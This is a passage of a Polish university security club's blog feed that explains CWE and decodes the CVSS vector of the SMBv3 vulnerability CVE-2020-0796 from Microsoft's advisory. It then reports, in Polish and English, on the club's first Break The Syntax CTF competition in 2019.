&lt;a href="#cwe---common-weakness-enumeration" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Jest to lista typowych słabości w oprogramowaniu/sprzęcie. Słabościami są podatności, luki, bugi, błędy itd. Jej celem, podobnie jak listy CVE, jest zebranie tych słabości w jedno miejsce, uporządkowanie ich wedle określonych reguł, aby zachować jednolity standard w przedstawianiu możliwych błędów w algorytmie/kodzie/hardware&amp;rsquo;rze na całym świecie. Ułatwia to pracę architektom systemów oraz badaczom bezpieczeństwa w zrozumieniu, jaki błąd popełniono.&lt;/p>
&lt;p>Więcej o CWE &lt;a href="https://cwe.mitre.org/about/index.html"target="_blank" rel="noopener">tutaj&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p>
&lt;figure class="align-center">
&lt;a href="./cweranking.jpg">&lt;img loading="lazy" src="./cweranking.jpg">&lt;/a>
&lt;figcaption>Top 25 najczęstszych CWE na rok 2019.&lt;/figcaption>
&lt;/figure>
&lt;h2>Przykład opisu podatności - CoronaBlue CVE-2020-0796&lt;span class="hx:absolute hx:-mt-20" id="przykład-opisu-podatności---coronablue-cve-2020-0796">&lt;/span>
&lt;a href="#przyk%c5%82ad-opisu-podatno%c5%9bci---coronablue-cve-2020-0796" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Na koniec, zobaczymy ile da się wyciągnąć z biuletynu bezpieczeństwa odnośnie podatności, która zrobiła ostatnio duże zamieszanie w świecie security. A mowa o tzw. &lt;strong>CoronaBlue&lt;/strong>, czyli podatności na protokół Microsoft Server Message Block (SMBv3), który zazwyczaj jest stosowany do udostępniania zasobów (drukarek, plików).&lt;/p>
&lt;p>Przykuwa ona uwagę ze względu na fakt, że parę lat wcześniej podobne podatności na ten sam protokół, lecz w wersji 1 (SMBv1), wykorzystał jeden z najbardziej znanych ransomware - WannaCry (w 2017). Korzystał z podatności o numerach:&lt;/p>
&lt;ul>
&lt;li>CVE-2017-0143&lt;/li>
&lt;li>CVE-2017-0144&lt;/li>
&lt;li>CVE-2017-0145&lt;/li>
&lt;li>CVE-2017-0146&lt;/li>
&lt;li>CVE-2017-0147&lt;/li>
&lt;li>CVE-2017-0148&lt;/li>
&lt;/ul>
&lt;p>Ale wracając do tematu&amp;hellip;&lt;/p>
&lt;p>Biuletyn znajduje się tu: &lt;a href="https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796"target="_blank" rel="noopener">https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/p>
&lt;figure class="align-center">
&lt;a href="./microsoft1.jpg">&lt;img loading="lazy" src="./microsoft1.jpg">&lt;/a>
&lt;figcaption>Pierwszy rzut oka na podatność.&lt;/figcaption>
&lt;/figure>
&lt;p>Na pierwszy rzut oka widać, że dla odkrytej podatności jest przydzielony numer CVE oraz, że można ją wykorzystać zdalnie, czyli prawdopodobnie Severity jest na poziomie Critical (9-10). Dodatkowo czytając opis można dowiedzieć się, że atakujący nie musi mieć poświadczeń, ale musi przekonać użytkownika do połączenia ze złośliwym serwerem SMBv3, aby wykorzystać podatność.&lt;/p>
&lt;figure class="align-center">
&lt;a href="./microsoft2.jpg">&lt;img loading="lazy" src="./microsoft2.jpg">&lt;/a>
&lt;figcaption>Drugi rzut oka na podatność.&lt;/figcaption>
&lt;/figure>
&lt;p>Przeglądając dalej, możemy uzyskać informację o prawdopodobieństwie możliwości wykorzystania podatności przez atakujących oraz jakie produkty są podatne. Dodatkowo widać, że jest możliwa aktualizacja oraz Severity jest wycenione na poziom &lt;strong>Critical&lt;/strong>.&lt;/p>
&lt;figure class="align-center">
&lt;a href="./microsoft3.jpg">&lt;img loading="lazy" src="./microsoft3.jpg">&lt;/a>
&lt;figcaption>Trzeci rzut oka na podatność.&lt;/figcaption>
&lt;/figure>
&lt;p>Po przejściu w zakładke &lt;code>CVSS Score&lt;/code> mamy wycenę metryki CVSS &lt;strong>Base&lt;/strong> i &lt;strong>Temporal&lt;/strong> osobno dla każdej wersji systemu. Jej wynik punktowy wskazuje, że wpływ wykorzystania podatności jest bardzo duży, jeśli ktoś ją wykorzysta (10/10!). Otrzymujemy też wektor CVSS, o którym wspomniałam wcześniej:&lt;/p>
&lt;p>&lt;code>CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H/E:P/RL:O/RC:C&lt;/code>&lt;/p>
&lt;p>Spróbujcie go sami rozszyfrować ;).&lt;/p>
&lt;p>Podpowiedź: 3 ostatnie podkategorie odnoszą się do metryki Temporal.&lt;/p>
&lt;figure class="align-center">
&lt;a href="./microsoft4.jpg">&lt;img loading="lazy" src="./microsoft4.jpg">&lt;/a>
&lt;figcaption>Czwarty rzut oka na podatność.&lt;/figcaption>
&lt;/figure>
&lt;p>Przeglądając niżej, Microsoft wskazuje na brak możliwości załagodzenia podatności i zaleca obejście problemu, do czasu aktualizacji (ale całe szczęście jest!).&lt;/p>
&lt;blockquote>
&lt;p>Pamiętajmy: &lt;strong>aktualizacja &amp;gt; workaround oficjalny &amp;gt; workaround nieoficjalny&lt;/strong> !&lt;/p>
&lt;/blockquote>
&lt;p>Na samym końcu umieszczone są FAQ oraz odnotowane zmiany w biuletynie.&lt;/p>
&lt;p>No dobrze, to co nam to dało?&lt;/p>
&lt;p>Jeśli przeanalizowaliście wektor CVSS to wiecie, że należy jak najszybciej sprawą się zająć i się zaktualizować, ale dla leniwych, zestawię go poniżej:&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Fragment wektora&lt;/th>
&lt;th>Podkategoria&lt;/th>
&lt;th>Parametr&lt;/th>
&lt;th>Opis&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>/AV:N/&lt;/td>
&lt;td>Attack Vector (AV)&lt;/td>
&lt;td>Network (N)&lt;/td>
&lt;td>Atakujący działa zdalnie oraz nie musi być w naszej sieci + może propagować się po całej naszej infrastrukturze.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>/AC:L/&lt;/td>
&lt;td>Attack Complexity (AC)&lt;/td>
&lt;td>Low (L)&lt;/td>
&lt;td>Atakujący nie musi się napracować, by efektywnie wykonywać zdalnie kod.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>/PR:N/&lt;/td>
&lt;td>Priviledges Required (PR)&lt;/td>
&lt;td>None (N)&lt;/td>
&lt;td>Atakujący nie potrzebuje poświadczeń, by wykorzystać słabość.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>/UI:N/&lt;/td>
&lt;td>User Interaction (UI)&lt;/td>
&lt;td>None (N)&lt;/td>
&lt;td>Atakujący nie prowadzi interakcji z użytkownikiem, aby nakłonić klienta SMBv3 do połączenia się ze swoim serwerem.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>/S:C/&lt;/td>
&lt;td>Scope (S)&lt;/td>
&lt;td>Changed (C)&lt;/td>
&lt;td>Atakujący po kompromitacji, może wpływać na inne komponenty systemu.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>/C:H/&lt;/td>
&lt;td>Confidentiality (C)&lt;/td>
&lt;td>High (H)&lt;/td>
&lt;td>Atakujący ma dostęp do danych wrażliwych po przeprowadzeniu ataku.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>/I:H/&lt;/td>
&lt;td>Integrity (I)&lt;/td>
&lt;td>High (H)&lt;/td>
&lt;td>Atakujący może modyfikować pliki do woli.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>/A:H/&lt;/td>
&lt;td>Availability (A)&lt;/td>
&lt;td>High (H)&lt;/td>
&lt;td>Atakujący ma możliwość wyłączenia/przerwania usługi, zarządzania nią wedle swojej woli.&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>I 3 ostatnie podkategorie (&lt;strong>Temporal&lt;/strong>):&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Fragment wektora&lt;/th>
&lt;th>Podkategoria&lt;/th>
&lt;th>Parametr&lt;/th>
&lt;th>Opis&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>/E:P/&lt;/td>
&lt;td>Exploit Code Maturity (E)&lt;/td>
&lt;td>Proof of Concept (P)&lt;/td>
&lt;td>Dla tej podatności występuje dowód możliwości jej wykorzystania (kod, artykuł), lecz nie został on przystosowany do uniwersalnego wykorzystania przez cyberprzestępców.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>/RL:O/&lt;/td>
&lt;td>Remediation Level (RL)&lt;/td>
&lt;td>Official Fix (O)&lt;/td>
&lt;td>Wskazanie, że Microsoft opublikował oficjalne aktualizacje, aby usunąć podatność.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>/RC:C&lt;/td>
&lt;td>Report Confidence (RC)&lt;/td>
&lt;td>Confirmed (C)&lt;/td>
&lt;td>Microsoft potwierdził lukę w swoim protokole SMBv3.&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>Przy analizie podatności warto również sięgnąć do innych źródeł, które mogą zawierać więcej informacji:&lt;/p>
&lt;ul>
&lt;li>NVD - &lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2020-0796"target="_blank" rel="noopener">https://nvd.nist.gov/vuln/detail/CVE-2020-0796&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>Mitre - &lt;a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-0796"target="_blank" rel="noopener">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-0796&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>Dla bardziej zainteresowanych podatnością, linki są poniżej:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://twitter.com/hashtag/coronablue?src=hash"target="_blank" rel="noopener">https://twitter.com/hashtag/coronablue?src=hash&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/eerykitty/CVE-2020-0796-PoC?files=1"target="_blank" rel="noopener">https://github.com/eerykitty/CVE-2020-0796-PoC?files=1&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.mcafee.com/blogs/other-blogs/mcafee-labs/smbghost-analysis-of-cve-2020-0796/"target="_blank" rel="noopener">https://www.mcafee.com/blogs/other-blogs/mcafee-labs/smbghost-analysis-of-cve-2020-0796/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>Kończąc, najważniejszą rzeczą przy analizie podatności względem swojej infratruktury jest zrozumienie jej powagi oraz możliwego wpływu. Dlatego warto czasem samodzielnie rozpracować podatność lub na podstawie PoC&amp;rsquo;a, wycenić ją w standardzie CVSS dla swojego środowiska metryką Environmental oraz przemyśleć możliwość jej mitygacji, jeśli aktualizacji nie ma jeszcze od producenta.&lt;/p></description></item><item><title>Break The Syntax CTF 2019</title><link>https://whitehats.pwr.edu.pl/blog/2020-03-06-bts-1st-edition/</link><pubDate>Fri, 06 Mar 2020 00:00:00 +0000</pubDate><guid>https://whitehats.pwr.edu.pl/blog/2020-03-06-bts-1st-edition/</guid><description>
&lt;h2>[PL] Break The Syntax 2019&lt;span class="hx:absolute hx:-mt-20" id="pl-break-the-syntax-2019">&lt;/span>
&lt;a href="#pl-break-the-syntax-2019" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>5 grudnia 2019 roku zorganizowaliśmy nasz pierwszy turniej typu Jeopardy Capture the Flag (CTF), polegający na łamaniu zabezpieczeń konkretnych systemów oraz rozwiązaniu zadań w celu znalezienia tytułowej flagi.&lt;/p>
&lt;figure class="align-center">
&lt;img fetchpriority="high" src="./bts-header.jpg">
&lt;figcaption>Oficjalny plakat turnieju.&lt;/figcaption>
&lt;/figure>
&lt;h2>Idea&lt;span class="hx:absolute hx:-mt-20" id="idea">&lt;/span>
&lt;a href="#idea" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Skąd pomysł na organizację tego typu przedsięwzięcia?
Po uczestnictwie jako drużyna w wielu turniejach CTF postanowiliśmy zmienić rolę i zamiast rozwiązywania wyzwań, zaczęliśmy je samemu tworzyć! W końcu co może lepiej rozwijać niż świadoma implementacja pewnych podatności. Chcieliśmy również spopularyzować to słynne &lt;em>„hakowanie”&lt;/em> (oczywiście w etycznych celach) i pokazać studentom o co właściwie w tym chodzi. W ten oto sposób narodził się pomysł na Break the Syntax CTF i jego pierwszą edycję współorganizowaną wraz z Credit Suisse oraz Wrocławskim Centrum Sieciowo-Superkomputerowym.&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./mateusz.png">
&lt;figcaption>Organizatorzy czuwają nad wszystkim.&lt;/figcaption>
&lt;/figure>
&lt;h2>O wydarzeniu&lt;span class="hx:absolute hx:-mt-20" id="o-wydarzeniu">&lt;/span>
&lt;a href="#o-wydarzeniu" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Zainteresowanie przewyższyło nasze najśmielsze oczekiwania. Ponad tydzień przed rozpoczęciem zabawy byliśmy zmuszeni do przerwania zapisów, gdyż osiągnęliśmy limit 100 osób.&lt;/p>
&lt;p>O godzinie 16:00, na pierwszym piętrze budynku D-21 rozpoczęły się czterogodzinne zmagania. 38 drużyn podjęło się pierwszych prób zdobycia flag. Musieli zmierzyć się z 15 zadaniami w przeciągu 4 godzin turnieju. Każdy mógł znaleźć coś dla siebie - od podstawowych zadań polegających na szukaniu informacji w jawnym kodzie stron internetowych, po te bardziej zaawansowane polegające m.in. na wykorzystaniu podatności padding oracle.&lt;/p>
&lt;figure class="half">
&lt;img loading="lazy" src="./people2.png">
&lt;img loading="lazy" src="./people1.png">
&lt;figcaption>Nasi uczestnicy w boju.&lt;/figcaption>
&lt;/figure>
&lt;p>Ostatecznie zwyciężył zespół Dream Team, w którego skład wchodzili &lt;strong>Karol Baraniecki&lt;/strong> i &lt;strong>Luka Mitrovich&lt;/strong>. Drugie miejsce przypadło zaś &lt;strong>Kamilowi Piszczkowi&lt;/strong>, który tworzył solowy zespół Hck.&lt;/p>
&lt;div>
&lt;figure style="width: 300px" class="align-left">
&lt;img loading="lazy" src="./whole_team.png" alt="">
&lt;figcaption>Zespół organizatorów w pełnej krasie.&lt;/figcaption>
&lt;/figure>
&lt;/div>
&lt;p>Gdy emocje nieco opadły, zdecydowaliśmy się zapytać uczestników o ich opinie. Niemal wszyscy byli zachwyceni i stwierdzili, że z chęcią wzięliby udział w kolejnych edycjach.
Jednoznacznie można stwierdzić, że Break the Syntax CTF okazał się sukcesem.&lt;/p>
&lt;h2>Podsumowując&lt;span class="hx:absolute hx:-mt-20" id="podsumowując">&lt;/span>
&lt;a href="#podsumowuj%c4%85c" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Czy będzie kolejna edycja? Z pewnością! Kiedy? Już w niedalekiej przyszłości. Śledźcie naszego bloga i stronę na &lt;a href="https://facebook.com/WhiteHatsPWr"target="_blank" rel="noopener">Facebooku&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p>
&lt;h2>[ENG] Break The Syntax 2019&lt;span class="hx:absolute hx:-mt-20" id="eng-break-the-syntax-2019">&lt;/span>
&lt;a href="#eng-break-the-syntax-2019" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>On December 5th, 2019 we organised our first Jeopardy Capture the Flag (CTF) competiton, in which participants have to overcome the security of specific systems and solve tasks in order to find a flag.&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./bts-header.jpg">
&lt;figcaption>The official poster ofthe tournament.&lt;/figcaption>
&lt;/figure>
&lt;h2>The Idea&lt;span class="hx:absolute hx:-mt-20" id="the-idea">&lt;/span>
&lt;a href="#the-idea" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Where did the idea for organising such a tournament come from?
After participating as a team in many CTF tournaments we decided to switch roles and instead of solving tasks, we started to create our own. After all, what can make you learn more than the conscious implementation of specific vulnerabilities. We also wanted to popularise &amp;ldquo;hacking&amp;rdquo; (ethical, of course) and show students what it&amp;rsquo;s all about. And so the idea for Break the Syntax CTF was born, along with it&amp;rsquo;s first edition organised together with Credit Suisse and the Wrocław Centre of Networking and Supercomputing.&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./mateusz.png">
&lt;figcaption>Organisers keeping an eye on everything.&lt;/figcaption>
&lt;/figure>
&lt;h2>About the event&lt;span class="hx:absolute hx:-mt-20" id="about-the-event">&lt;/span>
&lt;a href="#about-the-event" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Interest exceeded our wildest expectations. More than a week before the start of the competition we were forced to stop the registration, as we had already reached our limit of 100 participants.&lt;/p>
&lt;p>At 4:00 PM, on the first floor of building D-21, the four-hour struggle had begun. 38 teams made their first attempt at capturing the flags. They had to solve 15 tasks during the 4 hours of the tournament. Everyone could find something for themselves, ranging from basic tasks consisting of finding information in a website&amp;rsquo;s source code, to those more sophisticated involving, among other things, the exploitation of oracle padding vulnerabilities.&lt;/p>
&lt;figure class="half">
&lt;a href="https://whitehats.pwr.edu.pl/assets/images/posts/bts-1st-edition/people2-large.jpg">&lt;img loading="lazy" src="./people2.png">&lt;/a>
&lt;a href="https://whitehats.pwr.edu.pl/assets/images/posts/bts-1st-edition/people1-large.jpg">&lt;img loading="lazy" src="./people1.png">&lt;/a>
&lt;figcaption>Our participants.&lt;/figcaption>
&lt;/figure>
&lt;p>In the end the Dream Team team won, consisting of &lt;strong>Karol Baraniecki&lt;/strong> and &lt;strong>Luka Mitrovich&lt;/strong>. Second place went to &lt;strong>Kamil Piszczek&lt;/strong> in his solo team named Hck.&lt;/p>
&lt;div>
&lt;figure style="width: 300px" class="align-left">
&lt;a href="https://whitehats.pwr.edu.pl/assets/images/posts/bts-1st-edition/whole_team-large.jpg">&lt;img loading="lazy" src="./whole_team.png" alt="">&lt;/a>
&lt;figcaption>The organisers' team at their best.&lt;/figcaption>
&lt;/figure>
&lt;/div>
&lt;p>Once the emotions had settled, we decided to ask the participtants for the opinions. Almost all of them were delighted and said they would be happy to participate in future editions. It can be said beyond doubt that Break the Syntax CTF was a success.&lt;/p>
&lt;h2>Summary&lt;span class="hx:absolute hx:-mt-20" id="summary">&lt;/span>
&lt;a href="#summary" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Will there be another edition? Of course! When? In the near feature. Follow our blog and &lt;a href="https://facebook.com/WhiteHatsPWr"target="_blank" rel="noopener">Facebook page&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p></description></item></channel></rss>